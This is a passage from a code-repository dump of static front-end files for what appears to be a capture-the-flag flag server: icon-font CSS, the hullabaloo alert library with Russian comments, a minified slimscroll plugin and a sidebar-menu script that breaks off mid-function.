.ti-layers:before { content: "\e62f"; } .ti-layers-alt:before { content: "\e630"; } .ti-key:before { content: "\e631"; } .ti-import:before { content: "\e632"; } .ti-image:before { content: "\e633"; } .ti-heart:before { content: "\e634"; } .ti-heart-broken:before { content: "\e635"; } .ti-hand-stop:before { content: "\e636"; } .ti-hand-open:before { content: "\e637"; } .ti-hand-drag:before { content: "\e638"; } .ti-folder:before { content: "\e639"; } .ti-flag:before { content: "\e63a"; } .ti-flag-alt:before { content: "\e63b"; } .ti-flag-alt-2:before { content: "\e63c"; } .ti-eye:before { content: "\e63d"; } .ti-export:before { content: "\e63e"; } .ti-exchange-vertical:before { content: "\e63f"; } .ti-desktop:before { content: "\e640"; } .ti-cup:before { content: "\e641"; } .ti-crown:before { content: "\e642"; } .ti-comments:before { content: "\e643"; } .ti-comment:before { content: "\e644"; } .ti-comment-alt:before { content: "\e645"; } .ti-close:before { content: "\e646"; } .ti-clip:before { content: "\e647"; } .ti-angle-up:before { content: "\e648"; } .ti-angle-right:before { content: "\e649"; } .ti-angle-left:before { content: "\e64a"; } .ti-angle-down:before { content: "\e64b"; } .ti-check:before { content: "\e64c"; } .ti-check-box:before { content: "\e64d"; } .ti-camera:before { content: "\e64e"; } .ti-announcement:before { content: "\e64f"; } .ti-brush:before { content: "\e650"; } .ti-briefcase:before { content: "\e651"; } .ti-bolt:before { content: "\e652"; } .ti-bolt-alt:before { content: "\e653"; } .ti-blackboard:before { content: "\e654"; } .ti-bag:before { content: "\e655"; } .ti-move:before { content: "\e656"; } .ti-arrows-vertical:before { content: "\e657"; } .ti-arrows-horizontal:before { content: "\e658"; } .ti-fullscreen:before { content: "\e659"; } .ti-arrow-top-right:before { content: "\e65a"; } .ti-arrow-top-left:before { content: "\e65b"; } .ti-arrow-circle-up:before { content: "\e65c"; } .ti-arrow-circle-right:before { content: "\e65d"; } .ti-arrow-circle-left:before { content: "\e65e"; } .ti-arrow-circle-down:before { content: "\e65f"; } .ti-angle-double-up:before { content: "\e660"; } .ti-angle-double-right:before { content: "\e661"; } .ti-angle-double-left:before { content: "\e662"; } .ti-angle-double-down:before { content: "\e663"; } .ti-zip:before { content: "\e664"; } .ti-world:before { content: "\e665"; } .ti-wheelchair:before { content: "\e666"; } .ti-view-list:before { content: "\e667"; } .ti-view-list-alt:before { content: "\e668"; } .ti-view-grid:before { content: "\e669"; } .ti-uppercase:before { content: "\e66a"; } .ti-upload:before { content: "\e66b"; } .ti-underline:before { content: "\e66c"; } .ti-truck:before { content: "\e66d"; } .ti-timer:before { content: "\e66e"; } .ti-ticket:before { content: "\e66f"; } .ti-thumb-up:before { content: "\e670"; } .ti-thumb-down:before { content: "\e671"; } .ti-text:before { content: "\e672"; } .ti-stats-up:before { content: "\e673"; } .ti-stats-down:before { content: "\e674"; } .ti-split-v:before { content: "\e675"; } .ti-split-h:before { content: "\e676"; } .ti-smallcap:before { content: "\e677"; } .ti-shine:before { content: "\e678"; } .ti-shift-right:before { content: "\e679"; } .ti-shift-left:before { content: "\e67a"; } .ti-shield:before { content: "\e67b"; } .ti-notepad:before { content: "\e67c"; } .ti-server:before { content: "\e67d"; } .ti-quote-right:before { content: "\e67e"; } .ti-quote-left:before { content: "\e67f"; } .ti-pulse:before { content: "\e680"; } .ti-printer:before { content: "\e681"; } .ti-power-off:before { content: "\e682"; } .ti-plug:before { content: "\e683"; } .ti-pie-chart:before { content: "\e684"; } .ti-paragraph:before { content: "\e685"; } .ti-panel:before { content: "\e686"; } .ti-package:before { content: "\e687"; } .ti-music:before { content: "\e688"; } .ti-music-alt:before { content: "\e689"; } .ti-mouse:before { content: "\e68a"; } .ti-mouse-alt:before { content: "\e68b"; } .ti-money:before { content: "\e68c"; } .ti-microphone:before { content: "\e68d"; } .ti-menu:before { content: "\e68e"; } .ti-menu-alt:before { content: "\e68f"; } .ti-map:before { content: "\e690"; } .ti-map-alt:before { content: "\e691"; } .ti-loop:before { content: "\e692"; } .ti-location-pin:before { content: "\e693"; } .ti-list:before { content: "\e694"; } .ti-light-bulb:before { content: "\e695"; } .ti-Italic:before { content: "\e696"; } .ti-info:before { content: "\e697"; } .ti-infinite:before { content: "\e698"; } .ti-id-badge:before { content: "\e699"; } .ti-hummer:before { content: "\e69a"; } .ti-home:before { content: "\e69b"; } .ti-help:before { content: "\e69c"; } .ti-headphone:before { content: "\e69d"; } .ti-harddrives:before { content: "\e69e"; } .ti-harddrive:before { content: "\e69f"; } .ti-gift:before { content: "\e6a0"; } .ti-game:before { content: "\e6a1"; } .ti-filter:before { content: "\e6a2"; } .ti-files:before { content: "\e6a3"; } .ti-file:before { content: "\e6a4"; } .ti-eraser:before { content: "\e6a5"; } .ti-envelope:before { content: "\e6a6"; } .ti-download:before { content: "\e6a7"; } .ti-direction:before { content: "\e6a8"; } .ti-direction-alt:before { content: "\e6a9"; } .ti-dashboard:before { content: "\e6aa"; } .ti-control-stop:before { content: "\e6ab"; } .ti-control-shuffle:before { content: "\e6ac"; } .ti-control-play:before { content: "\e6ad"; } .ti-control-pause:before { content: "\e6ae"; } .ti-control-forward:before { content: "\e6af"; } .ti-control-backward:before { content: "\e6b0"; } .ti-cloud:before { content: "\e6b1"; } .ti-cloud-up:before { content: "\e6b2"; } .ti-cloud-down:before { content: "\e6b3"; } .ti-clipboard:before { content: "\e6b4"; } .ti-car:before { content: "\e6b5"; } .ti-calendar:before { content: "\e6b6"; } .ti-book:before { content: "\e6b7"; } .ti-bell:before { content: "\e6b8"; } .ti-basketball:before { content: "\e6b9"; } .ti-bar-chart:before { content: "\e6ba"; } .ti-bar-chart-alt:before { content: "\e6bb"; } .ti-back-right:before { content: "\e6bc"; } .ti-back-left:before { content: "\e6bd"; } .ti-arrows-corner:before { content: "\e6be"; } .ti-archive:before { content: "\e6bf"; } .ti-anchor:before { content: "\e6c0"; } .ti-align-right:before { content: "\e6c1"; } .ti-align-left:before { content: "\e6c2"; } .ti-align-justify:before { content: "\e6c3"; } .ti-align-center:before { content: "\e6c4"; } .ti-alert:before { content: "\e6c5"; } .ti-alarm-clock:before { content: "\e6c6"; } .ti-agenda:before { content: "\e6c7"; } .ti-write:before { content: "\e6c8"; } .ti-window:before { content: "\e6c9"; } .ti-widgetized:before { content: "\e6ca"; } .ti-widget:before { content: "\e6cb"; } .ti-widget-alt:before { content: "\e6cc"; } .ti-wallet:before { content: "\e6cd"; } .ti-video-clapper:before { content: "\e6ce"; } .ti-video-camera:before { content: "\e6cf"; } .ti-vector:before { content: "\e6d0"; } .ti-themify-logo:before { content: "\e6d1"; } .ti-themify-favicon:before { content: "\e6d2"; } .ti-themify-favicon-alt:before { content: "\e6d3"; } .ti-support:before { content: "\e6d4"; } .ti-stamp:before { content: "\e6d5"; } .ti-split-v-alt:before { content: "\e6d6"; } .ti-slice:before { content: "\e6d7"; } .ti-shortcode:before { content: "\e6d8"; } .ti-shift-right-alt:before { content: "\e6d9"; } .ti-shift-left-alt:before { content: "\e6da"; } .ti-ruler-alt-2:before { content: "\e6db"; } .ti-receipt:before { content: "\e6dc"; } .ti-pin2:before { content: "\e6dd"; } .ti-pin-alt:before { content: "\e6de"; } .ti-pencil-alt2:before { content: "\e6df"; } .ti-palette:before { content: "\e6e0"; } .ti-more:before { content: "\e6e1"; } .ti-more-alt:before { content: "\e6e2"; } .ti-microphone-alt:before { content: "\e6e3"; } .ti-magnet:before { content: "\e6e4"; } .ti-line-double:before { content: "\e6e5"; } .ti-line-dotted:before { content: "\e6e6"; } .ti-line-dashed:before { content: "\e6e7"; } .ti-layout-width-full:before { content: "\e6e8"; } .ti-layout-width-default:before { content: "\e6e9"; } .ti-layout-width-default-alt:before { content: "\e6ea"; } .ti-layout-tab:before { content: "\e6eb"; } .ti-layout-tab-window:before { content: "\e6ec"; } .ti-layout-tab-v:before { content: "\e6ed"; } .ti-layout-tab-min:before { content: "\e6ee"; } .ti-layout-slider:before { content: "\e6ef"; } .ti-layout-slider-alt:before { content: "\e6f0"; } .ti-layout-sidebar-right:before { content: "\e6f1"; } .ti-layout-sidebar-none:before { content: "\e6f2"; } .ti-layout-sidebar-left:before { content: "\e6f3"; } .ti-layout-placeholder:before { content: "\e6f4"; } .ti-layout-menu:before { content: "\e6f5"; } .ti-layout-menu-v:before { content: "\e6f6"; } .ti-layout-menu-separated:before { content: "\e6f7"; } .ti-layout-menu-full:before { content: "\e6f8"; } .ti-layout-media-right-alt:before { content: "\e6f9"; } .ti-layout-media-right:before { content: "\e6fa"; } .ti-layout-media-overlay:before { content: "\e6fb"; } .ti-layout-media-overlay-alt:before { content: "\e6fc"; } .ti-layout-media-overlay-alt-2:before { content: "\e6fd"; } .ti-layout-media-left-alt:before { content: "\e6fe"; } .ti-layout-media-left:before { content: "\e6ff"; } .ti-layout-media-center-alt:before { content: "\e700"; } .ti-layout-media-center:before { content: "\e701"; } .ti-layout-list-thumb:before { content: "\e702"; } .ti-layout-list-thumb-alt:before { content: "\e703"; } .ti-layout-list-post:before { content: "\e704"; } .ti-layout-list-large-image:before { content: "\e705"; } .ti-layout-line-solid:before { content: "\e706"; } .ti-layout-grid4:before { content: "\e707"; } .ti-layout-grid3:before { content: "\e708"; } .ti-layout-grid2:before { content: "\e709"; } .ti-layout-grid2-thumb:before { content: "\e70a"; } .ti-layout-cta-right:before { content: "\e70b"; } .ti-layout-cta-left:before { content: "\e70c"; } .ti-layout-cta-center:before { content: "\e70d"; } .ti-layout-cta-btn-right:before { content: "\e70e"; } .ti-layout-cta-btn-left:before { content: "\e70f"; } .ti-layout-column4:before { content: "\e710"; } .ti-layout-column3:before { content: "\e711"; } .ti-layout-column2:before { content: "\e712"; } .ti-layout-accordion-separated:before { content: "\e713"; } .ti-layout-accordion-merged:before { content: "\e714"; } .ti-layout-accordion-list:before { content: "\e715"; } .ti-ink-pen:before { content: "\e716"; } .ti-info-alt:before { content: "\e717"; } .ti-help-alt:before { content: "\e718"; } .ti-headphone-alt:before { content: "\e719"; } .ti-hand-point-up:before { content: "\e71a"; } .ti-hand-point-right:before { content: "\e71b"; } .ti-hand-point-left:before { content: "\e71c"; } .ti-hand-point-down:before { content: "\e71d"; } .ti-gallery:before { content: "\e71e"; } .ti-face-smile:before { content: "\e71f"; } .ti-face-sad:before { content: "\e720"; } .ti-credit-card:before { content: "\e721"; } .ti-control-skip-forward:before { content: "\e722"; } .ti-control-skip-backward:before { content: "\e723"; } .ti-control-record:before { content: "\e724"; } .ti-control-eject:before { content: "\e725"; } .ti-comments-smiley:before { content: "\e726"; } .ti-brush-alt:before { content: "\e727"; } .ti-youtube:before { content: "\e728"; } .ti-vimeo:before { content: "\e729"; } .ti-twitter:before { content: "\e72a"; } .ti-time:before { content: "\e72b"; } .ti-tumblr:before { content: "\e72c"; } .ti-skype:before { content: "\e72d"; } .ti-share:before { content: "\e72e"; } .ti-share-alt:before { content: "\e72f"; } .ti-rocket:before { content: "\e730"; } .ti-pinterest:before { content: "\e731"; } .ti-new-window:before { content: "\e732"; } .ti-microsoft:before { content: "\e733"; } .ti-list-ol:before { content: "\e734"; } .ti-linkedin:before { content: "\e735"; } .ti-layout-sidebar-2:before { content: "\e736"; } .ti-layout-grid4-alt:before { content: "\e737"; } .ti-layout-grid3-alt:before { content: "\e738"; } .ti-layout-grid2-alt:before { content: "\e739"; } .ti-layout-column4-alt:before { content: "\e73a"; } .ti-layout-column3-alt:before { content: "\e73b"; } .ti-layout-column2-alt:before { content: "\e73c"; } .ti-instagram:before { content: "\e73d"; } .ti-google:before { content: "\e73e"; } .ti-github:before { content: "\e73f"; } .ti-flickr:before { content: "\e740"; } .ti-facebook:before { content: "\e741"; } .ti-dropbox:before { content: "\e742"; } .ti-dribbble:before { content: "\e743"; } .ti-apple:before { content: "\e744"; } .ti-android:before { content: "\e745"; } .ti-save:before { content: "\e746"; } .ti-save-alt:before { content: "\e747"; } .ti-yahoo:before { content: "\e748"; } .ti-wordpress:before { content: "\e749"; } .ti-vimeo-alt:before { content: "\e74a"; } .ti-twitter-alt:before { content: "\e74b"; } .ti-tumblr-alt:before { content: "\e74c"; } .ti-trello:before { content: "\e74d"; } .ti-stack-overflow:before { content: "\e74e"; } .ti-soundcloud:before { content: "\e74f"; } .ti-sharethis:before { content: "\e750"; } .ti-sharethis-alt:before { content: "\e751"; } .ti-reddit:before { content: "\e752"; } .ti-pinterest-alt:before { content: "\e753"; } .ti-microsoft-alt:before { content: "\e754"; } .ti-linux:before { content: "\e755"; } .ti-jsfiddle:before { content: "\e756"; } .ti-joomla:before { content: "\e757"; } .ti-html5:before { content: "\e758"; } .ti-flickr-alt:before { content: "\e759"; } .ti-email:before { content: "\e75a"; } .ti-drupal:before { content: "\e75b"; } .ti-dropbox-alt:before { content: "\e75c"; } .ti-css3:before { content: "\e75d"; } .ti-rss:before { content: "\e75e"; } .ti-rss-alt:before { content: "\e75f"; } ================================================ FILE: flag_server/webapps/static/js/hullabaloo.js ================================================ /** * hullabaloo v 0.3 * */ (function(root, factory) { if (typeof define === 'function' && define.amd) { define(['buoy'], factory(root)); } else if (typeof exports === 'object') { module.exports = factory(require('buoy')); } else { root.hullabaloo = factory(root, root.buoy); } })(typeof global !== 'undefined' ? global : this.window || this.global, function(root) { var init = function(root) { var hullabaloo = function() { // Объект создаваемый сейчас. // генерируется в this.generate() this.hullabaloo = {}; // Массив с объектами активных алертов this.hullabaloos = []; this.success = false; // Дополнительные настройки дял алерта this.options = { ele: "body", offset: { from: "top", amount: 20 }, align: "right", width: 250, delay: 5000, allow_dismiss: true, stackup_spacing: 10, text: "Произошла неизвестная ошибка.", icon: { success: "fa fa-check-circle", info: "fa fa-info-circle", warning: "fa fa-life-ring", danger: "fa fa-exclamation-circle", light: "fa fa-sun", dark: "fa fa-moon" }, status: "danger", alertClass: "", // Дополнительные класс для блока алерта fnStart: false, // Ф-ия будет выполняться при старте fnEnd: false, // Ф-ия будет выполняться по завершинию fnEndHide: false, // Ф-ия будет выполняться после закрытия сообщения }; }; // Выводим сообщение hullabaloo.prototype.send = function(text, status) { // Запустим функцию при старте if (typeof this.options.fnStart == "function") this.options.fnStart(); // Ссылка на объект var self = this; // Флаг для обозначение что найденна группа одинаковых алертов var flag = 1; // Счетчик для переборки всех алертов. Поиск одинаковых var i = +this.hullabaloos.length - 1; // Главный алерта если уже есть такие же алерты var parent; // Сгенерируем сообщение var hullabaloo = this.generate(text, status); // Проверим нет ли уже таких же сообщений if (this.hullabaloos.length) { // Пройдем до конца массива алертов, пока не найдем совпадение while (i >= 0 && flag) { // Если у нас присутствуют одинаковые сообщения (сгруппируем их) if (this.hullabaloos[i].text == hullabaloo.text && this.hullabaloos[i].status == hullabaloo.status) { // Запомним главный алерт parent = this.hullabaloos[i]; // Флаг выхода из цикла flag = 0; // Переместим наш алерт на место гланого со смещением hullabaloo.elem.css(this.options.offset.from, parseInt(parent.elem.css(this.options.offset.from)) + 4); hullabaloo.elem.css(this.options.align, parseInt(parent.elem.css(this.options.align)) + 4); } i--; } } // Проверяем, группа алертов у нас или только один if (typeof parent == 'object') { // Если алерт в группе то добавим его в группу и обнулим счетчик группы clearTimeout(parent.timer); // Зададим новый счетчик для группы parent.timer = setTimeout(function() { self.closed(parent); }, this.options.delay); hullabaloo.parent = parent; // присвоим наш алерт в группу к родителю parent.hullabalooGroup.push(hullabaloo); // Если алер один } else { // Запомним позицию алерта, понадобиться для перемещения алертов вверх hullabaloo.position = parseInt(hullabaloo.elem.css(this.options.offset.from)); // Активируем таймер hullabaloo.timer = setTimeout(function() { self.closed(hullabaloo); }, this.options.delay); // Добавим алерт в общий массив алертов this.hullabaloos.push(hullabaloo); } // Покажем алерт пользователю hullabaloo.elem.fadeIn(); // Запустим функцию по завершения if (typeof this.options.fnEnd == "function") this.options.fnEnd(); } // Закрывает алерт hullabaloo.prototype.closed = function(hullabaloo) { var self = this; var idx, i, move, next; if("parent" in hullabaloo){ hullabaloo = hullabaloo.parent; } // проверяем есть ли массив с алертами if (this.hullabaloos !== null) { // Найдем в массиве закрываемый алерт idx = $.inArray(hullabaloo, this.hullabaloos); if(idx == -1) return; // Если это група алертов, то закроем все if (!!hullabaloo.hullabalooGroup && hullabaloo.hullabalooGroup.length) { for (i = 0; i < hullabaloo.hullabalooGroup.length; i++) { // закрыть алерт $(hullabaloo.hullabalooGroup[i].elem).remove(); } } // Закрываем наш алерт $(this.hullabaloos[idx].elem).fadeOut("slow", function(){ this.remove(); }); if (idx !== -1) { next = idx + 1; // Если в массиве есть другие алерты, поднимем их на место закрытого if (this.hullabaloos.length > 1 && next < this.hullabaloos.length) { // Отнимаем верхнюю гранизу закрытого алерта от верхней границы следующего алерта // и расчитываем на сколько двигать все алерты move = this.hullabaloos[next].position - this.hullabaloos[idx].position; // двигаем все алерты, которые идут за закрытым for (i = idx; i < this.hullabaloos.length; i++) { this.animate(self.hullabaloos[i], parseInt(self.hullabaloos[i].position) - move); self.hullabaloos[i].position = parseInt(self.hullabaloos[i].position) - move } } // Удалим закрытый алерт из массива с алертами this.hullabaloos.splice(idx, 1); // Запустим функцию после закрытия сообщения if (typeof this.options.fnEndHide == "function") this.options.fnEndHide(); } } } // Анимация для подъема алертов вверх hullabaloo.prototype.animate = function(hullabaloo, move) { var self = this; var timer, position, // Верх алерта, который тащим i, // Счетчик для перебора группы алертов group = 0; // Обозначение, группа алертов или одиночный // Верх / Низ алерта, который тащим position = parseInt(hullabaloo.elem.css(self.options.offset.from)); // Если это группа алертов group = hullabaloo.hullabalooGroup.length; // Запустим таймер timer = setInterval(frame, 2); // Ф-ия для таймера function frame() { if (position == move) { clearInterval(timer); } else { position--; hullabaloo.elem.css(self.options.offset.from, position); // Если это группа алертов if (group) { for (i = 0; i < group; i++) { hullabaloo.hullabalooGroup[i].elem.css(self.options.offset.from, position + 5); } } } } } // Генерация алерта на странице hullabaloo.prototype.generate = function(text, status) { var alertsObj = { icon: "", // Иконка status: status || this.options.status, // Статус text: text || this.options.text, // Тект elem: $("
"), // HTML код самого алерта // Группировка одинаковых алертов hullabalooGroup: [] }; var option, // Настройки алерта offsetAmount, // Отступы алерта css; // CSS свойства алерта self = this; option = this.options; // Добавим дополнительный класс alertsObj.elem.attr("class", "hullabaloo alert "+option.alertClass); // Статус alertsObj.elem.addClass("alert-" + alertsObj.status); // Кнопка закрытия сообщения if (option.allow_dismiss) { alertsObj.elem.addClass("alert-dismissible"); alertsObj.elem.append(""); $( "#hullabalooClose", $(alertsObj.elem) ).bind( "click", function(){ self.closed(alertsObj); }); } // Icon switch (alertsObj.status) { case "success": alertsObj.icon = option.icon.success; break; case "info": alertsObj.icon = option.icon.info; break; case "danger": alertsObj.icon = option.icon.danger; break; case "light": alertsObj.icon = option.icon.light; break; case "dark": alertsObj.icon = option.icon.dark; break; default: alertsObj.icon = option.icon.warning; } // Добавим текст в сообщение alertsObj.elem.append(" " + alertsObj.text); // Присвоим отступ от верха offsetAmount = option.offset.amount; // Если есть другие алерты то прибавим к отступу их высоту $(".hullabaloo").each(function() { return offsetAmount = Math.max(offsetAmount, parseInt($(this).css(option.offset.from)) + $(this).outerHeight() + option.stackup_spacing); }); // Добавим CSS стили css = { "position": (option.ele === "body" ? "fixed" : "absolute"), "margin": 0, "z-index": "9999", "display": "none" }; css[option.offset.from] = offsetAmount + "px"; alertsObj.elem.css(css); if (option.width !== "auto") { alertsObj.elem.css("width", option.width + "px"); } $(option.ele).append(alertsObj.elem); switch (option.align) { case "center": alertsObj.elem.css({ "left": "50%", "margin-left": "-" + (alertsObj.elem.outerWidth() / 2) + "px" }); break; case "left": alertsObj.elem.css("left", "20px"); break; default: alertsObj.elem.css("right", "20px"); } return alertsObj; }; return hullabaloo; }; return init(root); }); ================================================ FILE: flag_server/webapps/static/js/jquery.slimscroll.js ================================================ !function(e){e.fn.extend({slimScroll:function(i){var o={width:"auto",height:"250px",size:"7px",color:"#000",position:"right",distance:"1px",start:"top",opacity:.4,alwaysVisible:!1,disableFadeOut:!1,railVisible:!1,railColor:"#333",railOpacity:.2,railDraggable:!0,railClass:"slimScrollRail",barClass:"slimScrollBar",wrapperClass:"slimScrollDiv",allowPageScroll:!1,wheelStep:20,touchScrollStep:200,borderRadius:"7px",railBorderRadius:"7px"},s=e.extend(o,i);return this.each(function(){function o(t){if(h){var t=t||window.event,i=0;t.wheelDelta&&(i=-t.wheelDelta/120),t.detail&&(i=t.detail/3);var o=t.target||t.srcTarget||t.srcElement;e(o).closest("."+s.wrapperClass).is(x.parent())&&r(i,!0),t.preventDefault&&!y&&t.preventDefault(),y||(t.returnValue=!1)}}function r(e,t,i){y=!1;var o=e,r=x.outerHeight()-R.outerHeight();if(t&&(o=parseInt(R.css("top"))+e*parseInt(s.wheelStep)/100*R.outerHeight(),o=Math.min(Math.max(o,0),r),o=e>0?Math.ceil(o):Math.floor(o),R.css({top:o+"px"})),v=parseInt(R.css("top"))/(x.outerHeight()-R.outerHeight()),o=v*(x[0].scrollHeight-x.outerHeight()),i){o=e;var a=o/x[0].scrollHeight*x.outerHeight();a=Math.min(Math.max(a,0),r),R.css({top:a+"px"})}x.scrollTop(o),x.trigger("slimscrolling",~~o),n(),c()}function a(e){window.addEventListener?(e.addEventListener("DOMMouseScroll",o,!1),e.addEventListener("mousewheel",o,!1)):document.attachEvent("onmousewheel",o)}function l(){f=Math.max(x.outerHeight()/x[0].scrollHeight*x.outerHeight(),m),R.css({height:f+"px"});var e=f==x.outerHeight()?"none":"block";R.css({display:e})}function n(){if(l(),clearTimeout(p),v==~~v){if(y=s.allowPageScroll,b!=v){var e=0==~~v?"top":"bottom";x.trigger("slimscroll",e)}}else y=!1;return b=v,f>=x.outerHeight()?void(y=!0):(R.stop(!0,!0).fadeIn("fast"),void(s.railVisible&&E.stop(!0,!0).fadeIn("fast")))}function c(){s.alwaysVisible||(p=setTimeout(function(){s.disableFadeOut&&h||u||d||(R.fadeOut("slow"),E.fadeOut("slow"))},1e3))}var h,u,d,p,g,f,v,b,w="
",m=30,y=!1,x=e(this);if(x.parent().hasClass(s.wrapperClass)){var C=x.scrollTop();if(R=x.closest("."+s.barClass),E=x.closest("."+s.railClass),l(),e.isPlainObject(i)){if("height"in i&&"auto"==i.height){x.parent().css("height","auto"),x.css("height","auto");var H=x.parent().parent().height();x.parent().css("height",H),x.css("height",H)}if("scrollTo"in i)C=parseInt(s.scrollTo);else if("scrollBy"in i)C+=parseInt(s.scrollBy);else if("destroy"in i)return R.remove(),E.remove(),void x.unwrap();r(C,!1,!0)}}else if(!(e.isPlainObject(i)&&"destroy"in i)){s.height="auto"==s.height?x.parent().height():s.height;var S=e(w).addClass(s.wrapperClass).css({position:"relative",overflow:"hidden",width:s.width,height:s.height});x.css({overflow:"hidden",width:s.width,height:s.height});var E=e(w).addClass(s.railClass).css({width:s.size,height:"100%",position:"absolute",top:0,display:s.alwaysVisible&&s.railVisible?"block":"none","border-radius":s.railBorderRadius,background:s.railColor,opacity:s.railOpacity,zIndex:90}),R=e(w).addClass(s.barClass).css({background:s.color,width:s.size,position:"absolute",top:0,opacity:s.opacity,display:s.alwaysVisible?"block":"none","border-radius":s.borderRadius,BorderRadius:s.borderRadius,MozBorderRadius:s.borderRadius,WebkitBorderRadius:s.borderRadius,zIndex:99}),D="right"==s.position?{right:s.distance}:{left:s.distance};E.css(D),R.css(D),x.wrap(S),x.parent().append(R),x.parent().append(E),s.railDraggable&&R.bind("mousedown",function(i){var o=e(document);return d=!0,t=parseFloat(R.css("top")),pageY=i.pageY,o.bind("mousemove.slimscroll",function(e){currTop=t+e.pageY-pageY,R.css("top",currTop),r(0,R.position().top,!1)}),o.bind("mouseup.slimscroll",function(e){d=!1,c(),o.unbind(".slimscroll")}),!1}).bind("selectstart.slimscroll",function(e){return e.stopPropagation(),e.preventDefault(),!1}),E.hover(function(){n()},function(){c()}),R.hover(function(){u=!0},function(){u=!1}),x.hover(function(){h=!0,n(),c()},function(){h=!1,c()}),x.bind("touchstart",function(e,t){e.originalEvent.touches.length&&(g=e.originalEvent.touches[0].pageY)}),x.bind("touchmove",function(e){if(y||e.originalEvent.preventDefault(),e.originalEvent.touches.length){var t=(g-e.originalEvent.touches[0].pageY)/s.touchScrollStep;r(t,!0),g=e.originalEvent.touches[0].pageY}}),l(),"bottom"===s.start?(R.css({top:x.outerHeight()-R.outerHeight()}),r(0,!0)):"top"!==s.start&&(r(e(s.start).position().top,null,!0),s.alwaysVisible||R.hide()),a(this)}}),this}}),e.fn.extend({slimscroll:e.fn.slimScroll})}(jQuery); ================================================ FILE: flag_server/webapps/static/js/sidebarmenu.js ================================================ /* Template Name: Admin Press Admin Author: Themedesigner Email: niravjoshi87@gmail.com File: js */ (function (global, factory) { if (typeof define === "function" && define.amd) { define(['jquery'], factory); } else if (typeof exports !== "undefined") { factory(require('jquery')); } else { var mod = { exports: {} }; factory(global.jquery); global.metisMenu = mod.exports; } })(this, function (_jquery) { 'use strict'; var _jquery2 = _interopRequireDefault(_jquery); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Util = function ($) { var transition = false; var TransitionEndEvent = { WebkitTransition: 'webkitTransitionEnd', MozTransition: 'transitionend', OTransition: 'oTransitionEnd otransitionend', transition: 'transitionend' }; function getSpecialTransitionEndEvent() { return { bindType: transition.end, delegateType: transition.end, handle: function handle(event) { if ($(event.target).is(this)) { return event.handleObj.handler.apply(this, arguments); } return undefined; } }; } function transitionEndTest() { if (window.QUnit) { return false; } var el = document.createElement('mm'); for (var name in TransitionEndEvent) { if (el.style[name] !== undefined) { return { end: TransitionEndEvent[name] }; } } return false; } function transitionEndEmulator(duration) { var _this2 = this; var called = false; $(this).one(Util.TRANSITION_END, function () { called = true; }); setTimeout(function () { if (!called) { Util.triggerTransitionEnd(_this2); } }, duration); return this; } function setTransitionEndSupport() { transition = transitionEndTest(); $.fn.emulateTransitionEnd = transitionEndEmulator; if (Util.supportsTransitionEnd()) { $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent(); } } var Util = { TRANSITION_END: 'mmTransitionEnd', triggerTransitionEnd: function triggerTransitionEnd(element) { $(element).trigger(transition.end); }, supportsTransitionEnd: function supportsTransitionEnd() { return Boolean(transition); } }; setTransitionEndSupport(); return Util; }(jQuery); var MetisMenu = function ($) { var NAME = 'metisMenu'; var DATA_KEY = 'metisMenu'; var EVENT_KEY = '.' + DATA_KEY; var DATA_API_KEY = '.data-api'; var JQUERY_NO_CONFLICT = $.fn[NAME]; var TRANSITION_DURATION = 350; var Default = { toggle: true, preventDefault: true, activeClass: 'active', collapseClass: 'collapse', collapseInClass: 'in', collapsingClass: 'collapsing', triggerElement: 'a', parentTrigger: 'li', subMenu: 'ul' }; var Event = { SHOW: 'show' + EVENT_KEY, SHOWN: 'shown' + EVENT_KEY, HIDE: 'hide' + EVENT_KEY, HIDDEN: 'hidden' + EVENT_KEY, CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY }; var MetisMenu = function () { function MetisMenu(element, config) { _classCallCheck(this, MetisMenu); this._element = element; this._config = this._getConfig(config); this._transitioning = null; this.init(); } MetisMenu.prototype.init = function init() { var self = this; $(this._element).find(this._config.parentTrigger + '.' + this._config.activeClass).has(this._config.subMenu).children(this._config.subMenu).attr('aria-expanded', true).addClass(this._config.collapseClass + ' ' + this._config.collapseInClass); $(this._element).find(this._config.parentTrigger).not('.' + this._config.activeClass).has(this._config.subMenu).children(this._config.subMenu).attr('aria-expanded', false).addClass(this._config.collapseClass); $(this._element).find(this._config.parentTrigger).has(this._config.subMenu).children(this._config.triggerElement).on(Event.CLICK_DATA_API, function (e) { var _this = $(this); var _parent = _this.parent(self._config.parentTrigger); var _siblings = _parent.siblings(self._config.parentTrigger).children(self._config.triggerElement); var _list = _parent.children(self._config.subMenu); if (self._config.preventDefault) { e.preventDefault(); } if (_this.attr('aria-disabled') === 'true') { return; } if (_parent.hasClass(self._config.activeClass)) { _this.attr('aria-expanded', false); self._hide(_list); } else { self._show(_list); _this.attr('aria-expanded', true); if (self._config.toggle) { _siblings.attr('aria-expanded', false); } } if (self._config.onTransitionStart) { self._config.onTransitionStart(e); } }); }; MetisMenu.prototype._show = function _show(element) { if (this._transitioning || $(element).hasClass(this._config.collapsingClass)) { return; } var _this = this; var _el = $(element); var startEvent = $.Event(Event.SHOW); _el.trigger(startEvent); if (startEvent.isDefaultPrevented()) { return; } _el.parent(this._config.parentTrigger).addClass(this._config.activeClass); if (this._config.toggle) { this._hide(_el.parent(this._config.parentTrigger).siblings().children(this._config.subMenu + '.' + this._config.collapseInClass).attr('aria-expanded', false)); } _el.removeClass(this._config.collapseClass).addClass(this._config.collapsingClass).height(0); this.setTransitioning(true); var complete = function complete() { _el.removeClass(_this._config.collapsingClass).addClass(_this._config.collapseClass + ' ' + _this._config.collapseInClass).height('').attr('aria-expanded', true); _this.setTransitioning(false); _el.trigger(Event.SHOWN); }; if (!Util.supportsTransitionEnd()) { complete(); return; } _el.height(_el[0].scrollHeight).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION); }; MetisMenu.prototype._hide = function _hide(element) { if (this._transitioning || !$(element).hasClass(this._config.collapseInClass)) { return; } var _this = this; var _el = $(element); var startEvent = $.Event(Event.HIDE); _el.trigger(startEvent); if (startEvent.isDefaultPrevented()) { return; } _el.parent(this._config.parentTrigger).removeClass(this._config.activeClass); _el.height(_el.height())[0].offsetHeight; 